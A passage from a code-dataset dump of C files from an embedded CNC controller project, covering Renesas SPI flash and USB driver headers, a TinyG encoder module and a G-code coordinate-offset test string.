RSPI1_SendReceive( uint8_t const *pSrc,\n uint8_t *pDest,\n uint16_t usBytes)\n{\n uint16_t byte_count;\n volatile uint32_t temp;\n\n for (byte_count = 0; byte_count < usBytes; byte_count++)\n {\n /* Ensure transmit register is empty */\n while (RSPI1.SPSR.BIT.IDLNF) ;\n\n /* If just reading then transmit 0xFF */\n RSPI1.SPDR.LONG = (pSrc == NULL) ? 0xFF : pSrc[byte_count];\n\n while (false == RSPI1_rx_buffer_full())\n {\n /* Transfer is complete when a byte has been shifted in (full duplex) */\n }\n\n /* Read received data. If transmit only, then ignore it */\n if (pDest == NULL)\n {\n temp = RSPI1.SPDR.LONG;\n }\n else\n {\n pDest[byte_count] = (uint8_t) (RSPI1.SPDR.LONG & 0xFF);\n }\n\n }\n\n return true;\n}\n\n/***********************************************************************************************************************\n* Function Name: R_RSPI_Read\n* Description : Reads data using RSPI\n* Arguments : channel -\n* Which channel to use\n* pDest -\n* Pointer to location to put the received data.\n* Returned value will be incremented by number of bytes received.\n* usBytes -\n* number of bytes to be received\n* pid -\n* Unique task ID. Used to make sure tasks don't step on each other.\n* Return Value : true -\n* Operation completed.\n* false -\n* This task did lock the RSPI fist.\n***********************************************************************************************************************/\nstatic bool RSPI1_Read( uint8_t *pDest,\n uint16_t usBytes)\n{\n uint16_t byte_count;\n volatile uint32_t temp;\n\n for (byte_count = 0; byte_count < usBytes; byte_count++)\n {\n /* Ensure transmit register is empty */\n while (RSPI1.SPSR.BIT.IDLNF) ;\n\n /* If just reading then transmit 0xFF */\n RSPI1.SPDR.LONG = 0xFFFFFFFF ;\n\n while (false == RSPI1_rx_buffer_full())\n {\n /* Transfer is complete when a byte has been shifted in (full duplex) */\n }\n\n /* Read received data. If transmit only, then ignore it */\n pDest[byte_count] = (uint8_t) (RSPI1.SPDR.LONG & 0xFF);\n }\n\n return true;\n}\n\n\n/***********************************************************************************************************************\n* Function Name: R_RSPI_Write\n* Description : Write to a SPI device\n* Arguments : channel -\n* Which channel to use\n* pSrc -\n* Pointer to data buffer with data to be transmitted.\n* Returned value will be incremented by number of attempted writes.\n* usBytes -\n* Number of bytes to be sent\n* pid -\n* Unique task ID. Used to make sure tasks don't step on each other.\n* Return Value : true -\n* Operation completed.\n* false -\n* This task did lock the RSPI fist.\n***********************************************************************************************************************/\nstatic bool RSPI1_Write( const uint8_t *pSrc, uint16_t usBytes)\n{\n uint16_t byte_count;\n volatile uint32_t temp;\n\n for (byte_count = 0; byte_count < usBytes; byte_count++)\n {\n /* Ensure transmit register is empty */\n while (RSPI1.SPSR.BIT.IDLNF) ;\n\n /* If just reading then transmit 0xFF */\n RSPI1.SPDR.LONG = pSrc[byte_count];\n\n while (false == RSPI1_rx_buffer_full())\n {\n /* Transfer is complete when a byte has been shifted in (full duplex) */\n }\n\n /* Read received data. If transmit only, then ignore it */\n temp = RSPI1.SPDR.LONG;\n }\n// DMAC0.DMSAR = (uint32_t *)&RSPI1.SPDR.LONG;\n// DMAC0.DMDAR = (uint32_t *)pSrc;\n// DMAC0.DMCRA = usBytes;\n//\n// DMAC1.DMSAR = (uint32_t *)pSrc;\n// DMAC1.DMDAR = (uint32_t *)&RSPI1.SPDR.LONG;\n// DMAC1.DMCRA = usBytes;\n// temp1 = RSPI1.SPDR.LONG;\n return true;\n}\n\n/***********************************************************************************************************************\n* Function Name: rspi_rx_buffer_full\n* Description : Returns whether the receive buffer full flag is set for a RSPI channel. Clear flag after read.\n* Arguments : channel -\n* Which channel to use.\n* Return Value : true -\n* Flag is set.\n* false -\n* Flag is not set.\n***********************************************************************************************************************/\nstatic bool RSPI1_rx_buffer_full (void)\n{\n bool flag_set = false;\n\n if (1 == IR(RSPI1, SPRI1))\n {\n /* Clear bit. */\n IR(RSPI1, SPRI1) = 0;\n\n flag_set = true;\n }\n return flag_set;\n}\n\n/***********************************************************************************************************************\n* Function Name: R_SF_GetVersion\n* Description : Returns the current version of this module. The version number is encoded where the top 2 bytes are the\n* major version number and the bottom 2 bytes are the minor version number. For example, Version 4.25 \n* would be returned as 0x00040019.\n* Arguments : none\n* Return Value : Version of this module.\n***********************************************************************************************************************/\n#pragma inline(R_SF_GetVersion)\nuint32_t R_SF_GetVersion (void)\n{\n /* These version macros are defined in r_spi_flash_if.h. */\n return ((((uint32_t)SPI_FLASH_VERSION_MAJOR) << 16) | (uint32_t)SPI_FLASH_VERSION_MINOR);\n}\n\n\n" }, { "alpha_fraction": 0.6236985325813293, "alphanum_fraction": 0.6274169683456421, "avg_line_length": 33.77586364746094, "blob_id": "ff72f9624c2abfa0ca3a0e8f8b49bc9194b8dcc1", "content_id": "8418673184289f7a1bf04f8b12ca253c800ff209", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 4034, "license_type": "no_license", "max_line_length": 91, "num_lines": 116, "path": "/src/cnc/encoder.c", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/*\n * encoder.c - encoder interface\n * This file is part of the TinyG project\n *\n * Copyright (c) 2013 - 2015 Alden S. Hart, Jr.\n *\n * This file (\"the software\") is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License, version 2 as published by the\n * Free Software Foundation. You should have received a copy of the GNU General Public\n * License, version 2 along with the software. If not, see <http://www.gnu.org/licenses/>.\n *\n * As a special exception, you may use this file as part of a software library without\n * restriction. Specifically, if other files instantiate templates or use macros or\n * inline functions from this file, or you compile this file and link it with other\n * files to produce an executable, this file does not by itself cause the resulting\n * executable to be covered by the GNU General Public License. This exception does not\n * however invalidate any other reasons why the executable file might be covered by the\n * GNU General Public License.\n *\n * THE SOFTWARE IS DISTRIBUTED IN THE HOPE THAT IT WILL BE USEFUL, BUT WITHOUT ANY\n * WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES\n * OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT\n * SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF\n * OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n */\n\n#include \"tinyg.h\"\n#include \"config.h\"\n#include \"encoder.h\"\n\n#ifdef __cplusplus\nextern \"C\"{\n#endif\n\n/**** Allocate Structures ****/\n\nenEncoders_t en;\n\n/************************************************************************************\n **** CODE **************************************************************************\n ************************************************************************************/\n\n/*\n * encoder_init() - initialize encoders\n */\n\nvoid encoder_init()\n{\n\tmemset(&en, 0, sizeof(en));\t\t// clear all values, pointers and status\n\tencoder_init_assertions();\n}\n\n/*\n * encoder_init_assertions() - initialize encoder assertions\n * encoder_test_assertions() - test assertions, return error code if violation exists\n */\n\nvoid encoder_init_assertions()\n{\n\ten.magic_end = MAGICNUM;\n\ten.magic_start = MAGICNUM;\n}\n\nstat_t encoder_test_assertions()\n{\n\tif (en.magic_end != MAGICNUM) return (STAT_ENCODER_ASSERTION_FAILURE);\n\tif (en.magic_start != MAGICNUM) return (STAT_ENCODER_ASSERTION_FAILURE);\n\treturn (STAT_OK);\n}\n\n/*\n * en_set_encoder_steps() - set encoder values to a current step count\n *\n *\tSets the encoder_position steps. Takes floating point steps as input,\n *\twrites integer steps. So it's not an exact representation of machine\n *\tposition except if the machine is at zero.\n */\n\nvoid en_set_encoder_steps(uint8_t motor, float steps)\n{\n\ten.en[motor].encoder_steps = (int32_t)round(steps);\n}\n\n/*\n * en_read_encoder()\n *\n *\tThe stepper ISR count steps into steps_run(). These values are accumulated to\n *\tencoder_position during LOAD (HI interrupt level). The encoder position is\n *\ttherefore always stable. But be advised: the position lags target and position\n *\tvalaues elsewherein the system becuase the sample is taken when the steps for\n *\tthat segment are complete.\n */\n\nfloat en_read_encoder(uint8_t motor)\n{\n\treturn((float)en.en[motor].encoder_steps);\n}\n\n/***********************************************************************************\n * CONFIGURATION AND INTERFACE FUNCTIONS\n * Functions to get and set variables from the cfgArray table\n ***********************************************************************************/\n\n/***********************************************************************************\n * TEXT MODE SUPPORT\n * Functions to print variables from the cfgArray table\n ***********************************************************************************/\n\n#ifdef __TEXT_MODE\n\n#endif // __TEXT_MODE\n\n#ifdef __cplusplus\n}\n#endif\n" }, { "alpha_fraction": 0.5711488127708435, "alphanum_fraction": 0.6932114958763123, "avg_line_length": 26.85454559326172, "blob_id": "b8ab9914b38467dbe58e94c528c8ec08e644ba2e", "content_id": "452c365e9cdc7bcf835a45dcde2c611d18bec847", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1532, "license_type": "no_license", "max_line_length": 112, "num_lines": 55, "path": "/src/cnc/tests/test_013_coordinate_offsets.h", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/*\n * test_013_coordinate_offsets.h\n *\n * Notes:\n *\t -\tThe character array should be derived from the filename (by convention)\n *\t - Comments are not allowed in the char array, but gcode comments are OK e.g. (g0 test)\n */\nconst char test_coordinate_offsets[] PROGMEM = \"\\\n(MSG**** Coordinate offsets test [v1] ****)\\n\\\ng00g17g21g40g49g80g90\\n\\\ng54\\n\\\ng92x0y0z0\\n\\\nf600\\n\\\n(MSG**** test G92 offsets****)\\n\\\n(msgStep 1: Move from 0,0 to 30,0 mm in positive X direction)\\n\\\n(msgStep 2: Reset origin to 0.0 using G92)\\n\\\n(msgStep 3: Move to 20,0. Should move 20 mm in positive X direction and status report should start from 0,0)\\n\\\n(msgStep 4: Move to 0.0 Should move 20 mm in negative X direction and status report should start from 20,0)\\n\\\ng1x30\\n\\\ng92x0\\n\\\ng1x20\\n\\\ng1x0y0\\n\\\n$sr\\n\\\ng92x0\\n\\\ng4p0.5\\n\\\n(MSG**** test G55 offsets****)\\n\\\n(msgStep 1: Set Coordinate system 2 [g55] to offset of 50,50)\\n\\\n(msgStep 2: Select G55 coordinate system)\\n\\\n(msgStep 3: Move to 0,0. Head should move diagonally in +X and +Y and status report should start from 0,0)\\n\\\ng10L2p2x50y50\\n\\\ng55\\n\\\ng0x0y0\\n\\\ng4p0.5\\n\\\n(MSG**** test G53 absolute overrides ****)\\n\\\n(msgStep 1: Run a square in G55 system)\\n\\\n(msgStep 2: Run a square w/G53 override)\\n\\\ng0x0y0\\n\\\ng0x20y0\\n\\\ng0x20y20\\n\\\ng0x0y20\\n\\\ng0x0y0\\n\\\ng4p0.5\\n\\\ng53g0x0y0\\n\\\ng53g0x20y0\\n\\\ng53g0x20y20\\n\\\ng53g0x0y20\\n\\\ng53g0x0y0\\n\\\ng0x0y0\\n\\\ng4p0.5\\n\\\n(MSG**** test Return to home ****)\\n\\\n(msgStep 1: Return to home using G28)\\n\\\n(msgStep 2: Reset to G54 coord system)\\n\\\ng28\\n\\\ng54\\n\\\nm30\";\n" }, { "alpha_fraction": 0.5616934299468994, "alphanum_fraction": 0.5852388739585876, "avg_line_length": 70.20967864990234, "blob_id": "834d27e0bdc3e3f351afdddf78872672c44fddd6", "content_id": "620653486bcf0147f2f40d5788f79d1b0b0aad3f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 4417, "license_type": "no_license", "max_line_length": 120, "num_lines": 62, "path": "/r_config/r_spi_flash_config.h", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/***********************************************************************************************************************\n* DISCLAIMER\n* This software is supplied by Renesas Electronics Corporation and is only intended for use with Renesas products. No \n* other uses are authorized. This software is owned by Renesas Electronics Corporation and is protected under all \n* applicable laws, including copyright laws. \n* THIS SOFTWARE IS PROVIDED \"AS IS\" AND RENESAS MAKES NO WARRANTIES REGARDING\n* THIS SOFTWARE, WHETHER EXPRESS, IMPLIED OR STATUTORY, INCLUDING BUT NOT LIMITED TO WARRANTIES OF MERCHANTABILITY, \n* FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. ALL SUCH WARRANTIES ARE EXPRESSLY DISCLAIMED. TO THE MAXIMUM \n* EXTENT PERMITTED NOT PROHIBITED BY LAW, NEITHER RENESAS ELECTRONICS CORPORATION NOR ANY OF ITS AFFILIATED COMPANIES \n* SHALL BE LIABLE FOR ANY DIRECT, INDIRECT, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES FOR ANY REASON RELATED TO THIS \n* SOFTWARE, EVEN IF RENESAS OR ITS AFFILIATES HAVE BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.\n* Renesas reserves the right, without notice, to make changes to this software and to discontinue the availability of \n* this software. By using this software, you agree to the additional terms and conditions found by accessing the \n* following link:\n* http://www.renesas.com/disclaimer \n*\n* Copyright (C) 2013 Renesas Electronics Corporation. All rights reserved. \n***********************************************************************************************************************/\n/***********************************************************************************************************************\n* File Name : r_spi_flash_config.c\n* Description : Configures the SPI Flash package. \n***********************************************************************************************************************/\n/***********************************************************************************************************************\n* History : DD.MM.YYYY Version Description \n* : 29.02.2012 1.00 First Release \n* : 20.04.2012 1.10 Added support for Numonyx M25P16 SPI flash.\n* : 10.05.2012 1.20 Updated to be compliant with FIT Module Spec v0.7\n* : 13.02.2013 1.30 Updated to be compliant with FIT Module Spec v1.02\n***********************************************************************************************************************/\n#ifndef SPI_FLASH_CONFIG_HEADER_FILE\n#define SPI_FLASH_CONFIG_HEADER_FILE\n\n/***********************************************************************************************************************\nConfiguration Options\n***********************************************************************************************************************/\n/* Which SPI flash is chosen is decided by the header file that is included below. You may only choose 1 chip at a \n time. If you're developing on a RSK/RDK that already has a SPI flash on it then you will not need to modify this file\n because the appropriate SPI flash is automatically chosen below. If you are using your own board then put a #include\n in the #else ... #endif below for the SPI flash you are using. If your SPI flash is not listed then please copy one \n of the already defined header files in the 'src/chips' directory, rename it for your chip, modify the macros for the \n specifics of your chip and add an include path to it here. \n For quick reference here are the SPI flashes that are used and automatically chosen for Renesas boards.\n Numonyx P5Q PCM - RDKRX62N, RDKRX63N\n SST 25 Series - RSKRX62N, RSKRX63N\n */\n#if defined(BSP_BOARD_RDKRX62N) || defined(BSP_BOARD_RDKRX63N)\n/* Numonyx P5Q PCM. */\n#include \"src/chips/r_spi_flash_sst25.h\"\n#elif defined(BSP_BOARD_RSKRX62N) || defined(BSP_BOARD_RSKRX63N)\n/* SST 25 Series. */\n#include \"src/chips/r_spi_flash_sst25.h\"\n#elif defined(BSP_BOARD_RSKRX210)\n/* Numonyx M25P16. The RSKRX210 does not come with this SPI flash installed. An expansion board was used which came \n with a M25P16 installed which is why it is shown here. */\n#include \"src/chips/r_spi_flash_m25p16.h\"\n#else\n/* If your board or SPI flash is not shown above then you will need to add an include to the header file for your\n SPI flash here. */\n#include \"src/chips/r_spi_flash_sst25.h\"\n#endif\n\n#endif /* SPI_FLASH_CONFIG_HEADER_FILE */\n\n\n" }, { "alpha_fraction": 0.5208587646484375, "alphanum_fraction": 0.5267138481140137, "avg_line_length": 58.83941650390625, "blob_id": "ac9016f73a671c443adde3fc2a31932a65834fa8", "content_id": "8302b974d9ce19105857da27e0468236dab3476c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 8198, "license_type": "no_license", "max_line_length": 120, "num_lines": 137, "path": "/r_usb_basic/src/driver/inc/r_usb_cmacsystemcall.h", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/***********************************************************************************************************************\n* DISCLAIMER\n* This software is supplied by Renesas Electronics Corporation and is only intended for use with Renesas products. No\n* other uses are authorized. This software is owned by Renesas Electronics Corporation and is protected under all\n* applicable laws, including copyright laws.\n* THIS SOFTWARE IS PROVIDED \"AS IS\" AND RENESAS MAKES NO WARRANTIES REGARDING\n* THIS SOFTWARE, WHETHER EXPRESS, IMPLIED OR STATUTORY, INCLUDING BUT NOT LIMITED TO WARRANTIES OF MERCHANTABILITY,\n* FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. ALL SUCH WARRANTIES ARE EXPRESSLY DISCLAIMED. TO THE MAXIMUM\n* EXTENT PERMITTED NOT PROHIBITED BY LAW, NEITHER RENESAS ELECTRONICS CORPORATION NOR ANY OF ITS AFFILIATED COMPANIES\n* SHALL BE LIABLE FOR ANY DIRECT, INDIRECT, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES FOR ANY REASON RELATED TO THIS\n* SOFTWARE, EVEN IF RENESAS OR ITS AFFILIATES HAVE BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.\n* Renesas reserves the right, without notice, to make changes to this software and to discontinue the availability of\n* this software. By using this software, you agree to the additional terms and conditions found by accessing the\n* following link:\n* http://www.renesas.com/disclaimer\n*\n* Copyright (C) 2014(2015) Renesas Electronics Corporation. All rights reserved.\n***********************************************************************************************************************/\n/***********************************************************************************************************************\n* File Name : r_usb_cmacsystemcall.h\n* Description : uITRON System Call Definition Header File\n***********************************************************************************************************************/\n/**********************************************************************************************************************\n* History : DD.MM.YYYY Version Description\n* : 04.01.2014 1.00 First Release\n* : 30.01.2015 1.01 Support Multi device.\n***********************************************************************************************************************/\n\n\n#ifndef __R_USB_CMACSYSTEMCALL_H__\n#define __R_USB_CMACSYSTEMCALL_H__\n\n\n/*****************************************************************************\nMacro definitions\n******************************************************************************/\n/* uITRON4.0 system call */\n#ifndef USB_NO_SYSTEM_PP\n #define USB_CRE_TSK(ID,INFO) cre_tsk( (USB_ID_t)ID, (USB_TSK_t*)INFO )\n #define USB_DEL_TSK(ID) del_tsk( (USB_ID_t)ID )\n #define USB_STA_TSK(ID,CODE) sta_tsk( (USB_ID_t)ID, (USB_VI_t)CODE )\n #define USB_ACT_TSK(ID) act_tsk( (USB_ID_t)ID )\n #define R_USB_ACT_TSK(ID) act_tsk( (USB_ID_t)ID )\n #define USB_TER_TSK(ID) ter_tsk( (USB_ID_t)ID )\n #define USB_EXT_TSK() ext_tsk( )\n #define USB_REF_TST(ID, STS) ref_tst( (USB_ID_t)ID, (USB_RTST_t*)STS )\n\n #define USB_DLY_TSK(TIME) dly_tsk( (USB_RT_t)TIME )\n #define R_USB_DLY_TSK(TIME) dly_tsk( (USB_RT_t)TIME )\n\n #define USB_CRE_MBX(ID, INFO) cre_mbx( (USB_ID_t)ID, (USB_MBX_t*)INFO )\n #define USB_DEL_MBX(ID) del_mbx( (USB_ID_t)ID )\n #define USB_SND_MSG(ID, MESS) snd_mbx( (USB_ID_t)ID, (USB_MSG_t*)MESS )\n #define R_USB_SND_MSG(ID, MESS) snd_mbx( (USB_ID_t)ID, (USB_MSG_t*)MESS )\n #define USB_ISND_MSG(ID, MESS) isnd_mbx( (USB_ID_t)ID, (USB_MSG_t*)MESS )\n #define USB_RCV_MSG(ID, MESS) rcv_mbx( (USB_ID_t)ID, (USB_MSG_t**)MESS )\n #define R_USB_RCV_MSG(ID, MESS) rcv_mbx( (USB_ID_t)ID, (USB_MSG_t**)MESS )\n #define USB_PRCV_MSG(ID, MESS) prcv_mbx( (USB_ID_t)ID, (USB_MSG_t**)MESS )\n #define R_USB_PRCV_MSG(ID, MESS) prcv_mbx( (USB_ID_t)ID, (USB_MSG_t**)MESS )\n #define USB_TRCV_MSG(ID, MESS, TM) trcv_mbx( (USB_ID_t)ID, (USB_MSG_t**)MESS, (USB_TM_t)TM )\n #define R_USB_TRCV_MSG(ID, MESS, TM) trcv_mbx( (USB_ID_t)ID, (USB_MSG_t**)MESS, (USB_TM_t)TM )\n\n #define USB_CRE_MPL(ID, INFO) cre_mpf( (USB_ID_t)ID, (USB_MPL_t*)INFO )\n #define USB_DEL_MPL(ID) del_mpf( (USB_ID_t)ID )\n #define USB_PGET_BLK(ID, BLK) pget_mpf( (USB_ID_t)ID, (USB_MH_t*)BLK )\n #define R_USB_PGET_BLK(ID, BLK) pget_mpf( (USB_ID_t)ID, (USB_MH_t*)BLK )\n #define USB_IPGET_BLK(ID, BLK) ipget_mpf( (USB_ID_t)ID, (USB_MH_t*)BLK )\n #define USB_REL_BLK(ID, BLK) rel_mpf( (USB_ID_t)ID, (USB_MH_t)BLK )\n #define R_USB_REL_BLK(ID, BLK) rel_mpf( (USB_ID_t)ID, (USB_MH_t)BLK )\n\n #define USB_CRE_SEM(ID, INFO) cre_sem( (USB_ID_t)ID, (USB_SEM_t*)INFO )\n #define USB_WAI_SEM(ID) wai_sem( (USB_ID_t)ID )\n #define USB_POL_SEM(ID) pol_sem( (USB_ID_t)ID )\n #define USB_SIG_SEM(ID) sig_sem( (USB_ID_t)ID )\n\n #define USB_CRE_ALM(ID, INFO) cre_alm( (USB_ID_t)ID, (USB_ALM_t*)INFO )\n #define USB_STA_ALM(ID, TIME) sta_alm( (USB_ID_t)ID, (USB_RT_t)TIME )\n #define USB_STP_ALM(ID) stp_alm( (USB_ID_t)ID )\n #define USB_DEL_ALM(ID) del_alm( (USB_ID_t)ID )\n\n #define USB_REL_WAI(ID) rel_wai( (USB_ID_t)ID )\n #define USB_IREL_WAI(ID) irel_wai( (USB_ID_t)ID )\n#else /* USB_NO_SYSTEM_PP */\n /* nonOS */\n #define USB_CRE_TSK(ID,INFO) USB_NG\n #define USB_DEL_TSK(ID) USB_NG\n #define USB_STA_TSK(ID,CODE) USB_NG\n #define USB_ACT_TSK(ID) USB_NG\n #define USB_TER_TSK(ID) USB_NG\n #define USB_EXT_TSK() USB_NG\n #define USB_REF_TST(ID, STS) USB_NG\n\n #define USB_DLY_TSK(TIME)\n #define R_USB_DLY_TSK(TIME)\n\n #define USB_CRE_MBX(ID, INFO) USB_NG\n #define USB_DEL_MBX(ID) USB_NG\n #define USB_SND_MSG(ID, MESS) usb_cstd_SndMsg( (uint8_t)ID, (USB_MSG_t*)MESS )\n #define R_USB_SND_MSG(ID, MESS) R_usb_cstd_SndMsg( (uint8_t)ID, (USB_MSG_t*)MESS )\n #define USB_ISND_MSG(ID, MESS) usb_cstd_iSndMsg( (uint8_t)ID, (USB_MSG_t*)MESS )\n #define R_USB_ISND_MSG(ID, MESS) R_usb_cstd_iSndMsg( (uint8_t)ID, (USB_MSG_t*)MESS )\n #define USB_WAI_MSG(ID, MESS, TM) usb_cstd_WaiMsg( (uint8_t)ID, (USB_MSG_t*)MESS, (USB_TM_t)TM )\n #define R_USB_WAI_MSG(ID, MESS, TM) R_usb_cstd_WaiMsg( (uint8_t)ID, (USB_MSG_t*)MESS, (USB_TM_t)TM )\n #define USB_RCV_MSG(ID, MESS) usb_cstd_RecMsg( (uint8_t)ID, (USB_MSG_t**)MESS, (USB_TM_t)0u )\n #define R_USB_RCV_MSG(ID, MESS) R_usb_cstd_RecMsg( (uint8_t)ID, (USB_MSG_t**)MESS, (USB_TM_t)0u )\n #define USB_PRCV_MSG(ID, MESS) USB_NG\n #define R_USB_TRCV_MSG(ID, MESS, TM) R_usb_cstd_RecMsg( (uint8_t)ID, (USB_MSG_t**)MESS, (USB_TM_t)TM )\n #define USB_TRCV_MSG(ID, MESS, TM) usb_cstd_RecMsg( (uint8_t)ID, (USB_MSG_t**)MESS, (USB_TM_t)TM )\n \n #define USB_CRE_MPL(ID, INFO) USB_NG\n #define USB_DEL_MPL(ID) USB_NG\n #define R_USB_PGET_BLK(ID, BLK) R_usb_cstd_PgetBlk( (uint8_t)ID, (USB_UTR_t**)BLK )\n #define USB_PGET_BLK(ID, BLK) usb_cstd_PgetBlk( (uint8_t)ID, (USB_UTR_t**)BLK )\n #define USB_IPGET_BLK(ID, BLK) USB_NG\n #define R_USB_REL_BLK(ID, BLK) R_usb_cstd_RelBlk( (uint8_t)ID, (USB_UTR_t*)BLK )\n #define USB_REL_BLK(ID, BLK) usb_cstd_RelBlk( (uint8_t)ID, (USB_UTR_t*)BLK )\n\n #define USB_CRE_SEM(ID, INFO) USB_NG\n #define USB_WAI_SEM(ID) USB_NG\n #define USB_POL_SEM(ID) USB_NG\n #define USB_SIG_SEM(ID) USB_NG\n\n #define USB_CRE_ALM(ID, INFO) USB_NG\n #define USB_STA_ALM(ID, TIME) USB_NG\n #define USB_STP_ALM(ID) USB_NG\n #define USB_DEL_ALM(ID) USB_NG\n\n #define USB_REL_WAI(ID)\n #define USB_IREL_WAI(ID)\n#endif /* USB_NO_SYSTEM_PP */\n\n\n#endif /* __R_USB_CMACSYSTEMCALL_H__ */\n\n/******************************************************************************\nEnd Of File\n******************************************************************************/\n" }, { "alpha_fraction": 0.5945703387260437, "alphanum_fraction": 0.6268547177314758, "avg_line_length": 69.0914306640625, "blob_id": "12780487a625d9971a8cbd99007f1d7360ea97af", "content_id": "d3aca2daa6e89c6a4fa1ec99226f76be86e698c7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 12266, "license_type": "no_license", "max_line_length": 133, "num_lines": 175, "path": "/r_usb_hmsc/src/inc/r_usb_hmsc_extern.h", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/***********************************************************************************************************************\n* DISCLAIMER\n* This software is supplied by Renesas Electronics Corporation and is only intended for use with Renesas products. No\n* other uses are authorized. This software is owned by Renesas Electronics Corporation and is protected under all\n* applicable laws, including copyright laws.\n* THIS SOFTWARE IS PROVIDED \"AS IS\" AND RENESAS MAKES NO WARRANTIES REGARDING\n* THIS SOFTWARE, WHETHER EXPRESS, IMPLIED OR STATUTORY, INCLUDING BUT NOT LIMITED TO WARRANTIES OF MERCHANTABILITY,\n* FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. ALL SUCH WARRANTIES ARE EXPRESSLY DISCLAIMED. TO THE MAXIMUM\n* EXTENT PERMITTED NOT PROHIBITED BY LAW, NEITHER RENESAS ELECTRONICS CORPORATION NOR ANY OF ITS AFFILIATED COMPANIES\n* SHALL BE LIABLE FOR ANY DIRECT, INDIRECT, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES FOR ANY REASON RELATED TO THIS\n* SOFTWARE, EVEN IF RENESAS OR ITS AFFILIATES HAVE BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.\n* Renesas reserves the right, without notice, to make changes to this software and to discontinue the availability of\n* this software. By using this software, you agree to the additional terms and conditions found by accessing the\n* following link:\n* http://www.renesas.com/disclaimer\n*\n* Copyright (C) 2014(2015) Renesas Electronics Corporation. All rights reserved.\n***********************************************************************************************************************/\n/***********************************************************************************************************************\n* File Name : r_usb_hmsc_extern.h\n* Description : USB common uItron header\n***********************************************************************************************************************/\n/**********************************************************************************************************************\n* History : DD.MM.YYYY Version Description\n* : 04.01.2014 1.00 First Release\n* : 30.01.2015 1.01 Support Multi device.\n***********************************************************************************************************************/\n\n\n#ifndef __R_USB_HMSC_EXTERN_H__\n#define __R_USB_HMSC_EXTERN_H__\n\n#include \"r_usb_hmsc_define.h\" /* USB Mass Storage Class Header */\n\n/*****************************************************************************\nPublic Valiables\n******************************************************************************/\nextern USB_UTR_t usb_ghmsc_ControlData[USB_NUM_USBIP];\nextern USB_UTR_t usb_ghmsc_TransData[USB_NUM_USBIP][USB_MAXSTRAGE]; /* Send data transfer message */\nextern USB_UTR_t usb_ghmsc_ReceiveData[USB_NUM_USBIP][USB_MAXSTRAGE]; /* Receive data transfer message */\nextern USB_MSC_CBW_t usb_ghmsc_Cbw[USB_NUM_USBIP][USB_MAXSTRAGE];\nextern USB_MSC_CSW_t usb_ghmsc_Csw[USB_NUM_USBIP][USB_MAXSTRAGE];\nextern DRIVE_MANAGEMENT_t usb_ghmsc_drv_no_tbl[USB_DEVICENUM]; /* Drive no. management table */\nextern uint32_t usb_ghmsc_CbwTagNo[USB_NUM_USBIP][USB_MAXSTRAGE];\nextern uint32_t usb_ghmsc_TransSize[];\nextern uint16_t usb_ghmsc_DefEpTbl[USB_NUM_USBIP][USB_EPL+1];\nextern uint16_t *usb_ghmsc_PipeTable[USB_NUM_USBIP]; /* Pipe Table(DefEP) */\nextern uint8_t *usb_ghmsc_DeviceTable[USB_NUM_USBIP];\nextern uint8_t *usb_ghmsc_ConfigTable[USB_NUM_USBIP];\nextern uint8_t *usb_ghmsc_InterfaceTable[USB_NUM_USBIP];\nextern const uint16_t usb_ghhub_TPL[];\nextern uint16_t usb_ghmsc_AttSts[USB_MAXSTRAGE];\nextern uint16_t usb_ghmsc_DriveChk[USB_MAXDRIVE + 1][6];\nextern uint16_t usb_ghmsc_InPipe[USB_NUM_USBIP][USB_MAXSTRAGE][2];\nextern uint16_t usb_ghmsc_MaxDrive;\nextern uint16_t usb_ghmsc_OutPipe[USB_NUM_USBIP][USB_MAXSTRAGE][2];\nextern uint16_t usb_shmsc_StallErrSeq[USB_NUM_USBIP];\nextern uint16_t usb_shmsc_Process[USB_NUM_USBIP];\nextern uint16_t usb_ghhub_DefEPTbl[];\nextern uint16_t usb_ghmsc_Devaddr[USB_NUM_USBIP];\nextern uint16_t usb_ghmsc_Speed[USB_NUM_USBIP];\nextern uint16_t usb_shmsc_InitSeq[USB_NUM_USBIP];\nextern uint16_t usb_shmsc_StrgProcess[];\nextern uint16_t usb_ghmsc_StrgCount;\nextern uint16_t usb_shmsc_MsgNum[USB_NUM_USBIP];\nextern uint8_t usb_ghmsc_Data[USB_NUM_USBIP][5120];\nextern uint8_t usb_ghmsc_ClassData[USB_NUM_USBIP][USB_HMSC_CLSDATASIZE];\nextern uint16_t usb_ghmsc_drive_no[USB_NUM_USBIP][USB_MAXDEVADDR];\n\n/*----------------*/\n/* Storage Driver */\n/*----------------*/\nextern USB_UTR_t usb_shmsc_ClassControl[USB_NUM_USBIP];\nextern USB_CB_t usb_shmsc_command_result[USB_NUM_USBIP];\nextern uint16_t usb_shmsc_ClassRequest[USB_NUM_USBIP][5];\nextern uint8_t usb_shmsc_DeviceReady[USB_MAXUNITNUM];\nextern uint8_t 